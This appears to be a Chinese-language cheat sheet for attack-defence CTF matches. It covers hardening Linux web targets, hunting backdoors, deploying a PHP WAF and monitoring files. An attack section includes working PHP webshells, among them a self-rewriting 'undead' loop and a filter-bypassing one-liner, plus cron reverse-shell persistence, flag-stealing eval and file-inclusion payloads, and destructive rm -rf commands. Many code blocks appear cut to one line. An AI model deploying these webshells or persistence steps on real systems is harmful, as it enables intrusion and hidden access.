防守&加固
靶机加固的前提:需要知道靶机的密码和权限
root权限可以做所有操作
web权限:只能加固web服务,mysql服务等
不知道靶机密码的情况
hydra爆破(kali自带)
| 1 | SSH 破解 | 
python脚本爆破(需要安装paramiko库)
| 1 | import sys, time, argparse | 
kali自带字典目录
| 1 | /usr/share/wordlists | 
可能会用到的操作
ssh提供rsa公私钥连接方式
| 1 | ssh -i 私钥位置 user@hostname | 
查看有那些用户
| 1 | cat /etc/passwd | grep /bin/bash | 
可查看端口对应服务
| 1 | cat /etc/service | 
查看开了哪些端口 是否存在后门
| 1 | netstat -anp | 
| 1 | netstat -anp|grep "LISTEN" | 
查看nc对应的进程和端口(其他程序同理,如:bash、python、php等反弹shell)
| 1 | netstat -nlpta|grep -w nc | 
查看nc进程树
| 1 | ps aux|grep -w nc | 
根据pid查找程序绝对路径
| 1 | ls -l /proc/2765/ | grep -w exe | 
也可以用 lsof -p pid 命令
| 1 | lsof -p pid | 
按照关掉端口的方式杀掉即可
关闭端口的方式
1 . 强制关闭
| 1 | kill -9 端口号 | 
监控日志命令
| 1 | tail -f *.log | 
scp实现ssh服务上传下载文件
上传
| 1 | scp [-P 端口] 本地文件路径 user@host:远程文件路径 | 
下载
| 1 | scp [-P 端口] user@host:远程文件路径 本地文件路径 | 
备份网站目录
打包网站 备份到/tmp目录下
备份到其他目录可能会因为没有权限而报错
| 1 | tar -czvf /tmp/html.tar.gz /var/www/html | 
根据备份的源码恢复网站
| 1 | cd /tmp | 
查找后门
| 1 | find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\(' | 
查找flag的位置
| 1 | 使用 | 
修改flag文件权限和设置不可更改
修改权限
| 1 | chmod 400 /root/flag | 
设置不可更改属性
| 1 | chattr +i /root/flag | 
克制不死马
- 强行kill掉进程后重启服务(不建议) - 1 - ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9 
- 写脚本不断删除
| 1 | 
 | 
干掉反弹shell
ps -ef / px -aux
出现www-data权限的/bin/sh一般为nc
如果有一些进程杀不掉可以尝试www-data权限去杀
kill.php
| 1 | 
 | 
从浏览器访问,就是www-data权限
建议连着kill两次
加固
方向:更改口令、加固服务、清除后门、备份重要文件、移动系统命令、清楚执行命令的历史记录
上靶机,改ssh密码,看端口,根据对应端口做加固操作,无关紧要的端口统统关闭。定时任务一定要看。
更改ssh登录密码
| 1 | passwd | 
更改vnc登录密码(没有的情况下不用)
| 1 | vncpasswd root | 
加固web服务器方法
php网站加固
第一种:上waf
一般通防 WAF 会影响主办方 check,使用需谨慎,同时注意上 WAF 崩溃的问题
waf脚本网上搜集
waf的使用方式
方式一:可以使用 bash 命令在每一个 php 文件前面加上 require_once 包含 WAF 文件
传入的waf文件记得赋予可读可写入权限,不然不能生成文件
| 1 | 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?> | 
| 1 | find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('./log.php');n/g" | 
方式二:修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限
| 1 | ; Automatically add files before PHP document. | 
第二种:删除web服务器中存在漏洞页面
单个字符查找()
| 1 | grep -rn "相关函数名" --include *.php /var/www/html | 
多字符查找
| 1 | grep -E -rn "字符串1|字符串2|字符串3|" 文件名 | 
一条命令批量加固php代码
| 1 | sed -i "s/原字符串/新字符串/g" `grep 原字符串 --include=*.php -rl 所在目录` | 
注释所有关键函数
注释include需注意,可能会导致网站加载不出来
| 1 | sed -i "s/eval/evaleval/g" `grep eval -rl --include=*.php /var/www/html` | 
注释掉入口
| 1 | sed -i "s/_GET/GET/g" `grep _GET -rl --include=*.php /var/www/html` | 
命令执行漏洞函数
| 1 | system() | 
代码执行函数
| 1 | eval() | 
文件包含函数
| 1 | include() | 
文件读取
| 1 | file_get_contents() | 
文件上传函数
| 1 | move_uploaded_file | 
文件删除
| 1 | unlink() | 
变量覆盖
| 1 | extract() | 
sql注入
| 1 | mysqli | 
其他危险函数
| 1 | copy | 
第三种:删站&赋予不可访问权限
简单粗暴,直接让对手访问不了,但是可能会被裁判服务器check,导致扣分。
删除网站
| 1 | rm -rf /var/www/html/* | 
赋予网站目录 000 权限
| 1 | chmod 000 /var/www/html | 
重启网页服务器
| 1 | service apache2 restart | 
JSP网站加固
| 1 | request | 
| 1 | sed -i "s/request/requestrequest/g" `grep request -rl --include=*.php /var/www/html` | 
Asp加固
| 1 | Request | 
| 1 | sed -i "s/Request/RequestRequest/g" `grep Request -rl --include=*.php /var/www/html` | 
加固数据库
更改数据库密码
第一种方法
| 1 | mysql -u root -p [默认密码] | 
第二种方法
| 1 | update user set password = password("yangfan") where user = 'root'; | 
mysql 5.7 修改密码
| 1 | update mysql.user set authentication_string=password('123qwe') where user='root' and Host = 'localhost'; | 
mysql数据库开启远程连接
| 1 | use mysql; | 
mysql数据关闭远程连接
| 1 | use mysql; | 
加固ftp服务
修改登录密码
| 1 | passwd ftpuser | 
关闭不需要的服务和守护进程
| 1 | /etc/init.d/vsftpd stop | 
查看守护进程(如果有的话)
| 1 | cd /etc/xinetd.d/ | 
开启内存地址随机化(防止pwn程序的利用)
| 1 | echo 2 > /proc/sys/kernel/randomize_va_space // 0是关闭,1是半随机,2是全随机 | 
自启动相关
禁用启动项
开机自启动
chkconfig 命令
开启
| 1 | chkconfig 服务名 on | 
关闭
| 1 | chkconfig 服务名 off | 
防火墙
iptables 命令
定时任务
| 1 | crontable | 
cat 一次性输入全部内容(在纯linux 下  不能查看前面的内容)
more 仅能向前移动,却不能向后移动
less 用来查看一页不能完全显示的文件
空格 向下翻页
n      向上翻页
移动系统命令(最后的大招)
将 /bin,/sbin,/usr/bin 下的全部程序移走,即使攻击者突破了前面的防守但是拿到shell后发现并不能执行系统命令,从而拿不到咱们的flag
| 1 | mkdir /etc/tmp | 
把系统命令移走后,清空历史命令记录然后将cd等内建命令禁用
攻击
权限维持/后门技术
定时任务反弹shell
在/etc/networkt下写入反弹shell
| 1 | vim /etc/networkt | 
赋予执行权限
| 1 | chmod +x /etc/networkt | 
写入/etc/crontab 或者 crontab -e
| 1 | */1 * * * * root /etc/networkt | 
不死马
| 1 | 
 | 
| 1 | //马儿用法:POST::?pass=fany&a=command | 
| 1 | 
 | 
| 1 | get:pass=ocean888@.cn | 
linux命令不死马
| 1 | while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done | 
过盾一句话
| 1 | <?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?> | 
可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag,既不容易被发现马,又不容易被其他队利用
| 1 | <?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?> | 
批量GETflag方法
模板
| 1 | import request | 
核心的两句话
| 1 | res = request.get(url+payload) | 
批量获取提交flag脚本
| 1 | import requests | 
web漏洞获取flag
写批量提交的条件
知道赛场所有靶机ip地址
知道获取flag的payload
payload种类:
命令执行
| 1 | cat /flag.txt | 
代码执行(用下面方式 弥补 命令执行带参数命令 不能回显的缺陷)
| 1 | @eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7 | 
文件包含
| 1 | ?file=../../../flag.txt | 
ssh获取flag
shell写批量登录ssh脚本拿flag的条件
知道所有靶机ip地址
知道ssh密码
知道flag位置
监控
注意权限问题:那些尽量选用低权限能用的
tail命令监控日志
| 1 | tail -f [日志文件] | 
| 1 | ctf@4ef271a9a03b:/tmp$ tail -f log.txt | 
日志/流量监控
流量监控也是可以使用aoiawd进行,aoiawd还是在后边,或者用别的脚本记录流量,有的比赛也会定时提供上阶段流量
被上马一定要先备份到本地,再删除、去分析反打别人
网上搜集脚本
php
log.php
| 1 | 
 | 
| 1 | 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?> | 
问题:不能监控linux隐藏文件的访问, 比如 .index.php 访问这个文件就检测不到。
文件监控
注意:被上马一定要先备份到本地,再删除、去分析反打别人
网上收集脚本
https://www.shuzhiduo.com/A/GBJrKlDG50/
使用方法
- 上传到靶机/tmp目录下 
- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15- ctf@4ef271a9a03b:/tmp/FileMonitor-master$ python main.py 
 _____________
 < FileMonitor >
 -------------
 /\_)o<
 | |
 | O . O |
 \_____/
 By CoolCat
 
 [08:36:56]:Please enter a directory:/var/www/html/
 [08:37:01]:FileMonitor is running...
 [08:37:07]:修改了/var/www/html/.a.php Hash为:41f12630a50703b6026654e2de8cada1
 [08:37:07]:删除了/var/www/html/.a.php
 [08:37:15]:新建了/var/www/html/.a.php
监控目录
| 1 | /var/www/html/ | 
问题:垃圾日志太多
weblogger(不熟悉暂且不用)
使用方法
| 1 | cd /var/www/html/ (or other web dir) | 
进程/端口监控(不熟悉暂且不用)
网上收集脚本
部署waf
waf部署需要谨慎,分为两种情况:无check机制、部分检查不允许上通防waf,有些比赛上通防可能会扣掉很多分实在
- 每个文件前边加 require_once(waf.php);
- 改 .user.ini配置文件 auto_prepend_file=; 包含在文件头auto_append_file= ; 包含在文件尾 
注:如果挂了waf出现持续扣分,waf去掉
有root权限
1.
| 1 | #每个文件前边加 require_once(waf.php); | 
2.
| 1 | vim php.ini | 
3.
| 1 | 改 .user.ini配置文件 auto_prepend_file=<filename>; 包含在文件头 | 
注:如果挂了waf出现持续扣分,waf去掉
只有user权限
没写系统权限就只能在代码上面下手了,也就是文件包含。
这钟情况又可以用不同的方式包含。
1.
如果是框架型应用,那麽就可以添加在入口文件,例如index.php,
如果不是框架应用,可以在公共配置文件config.php等相关文件中包含。
| 1 | include('phpwaf.php'); | 
2.
替换index.php,也就是将index.php改名为index2.php,然后讲phpwaf.php改成index.php。
当然还没完,还要在原phpwaf.php中包含原来的index.php
| 1 | index.php -> index2.php | 
- 修改权限mysqll用户读表权限上传目录是否可执行的权限 
- 部署文件监控脚本php.ini - 1 - auto_prepend_file = waf.php的路径; - 1 
 2
 3
 4
 5
 6
 7
 8
 9- require_once('waf.php'); 
 常用cms添加waf位置
 PHPCMS V9 \phpcms\base.php
 PHPWIND8.7 \data\sql_config.php
 DEDECMS5.7 \data\common.inc.php
 DiscuzX2 \config\config_global.php
 Wordpress \wp-config.php
 Metinfo \include\head.php
其他
通用waf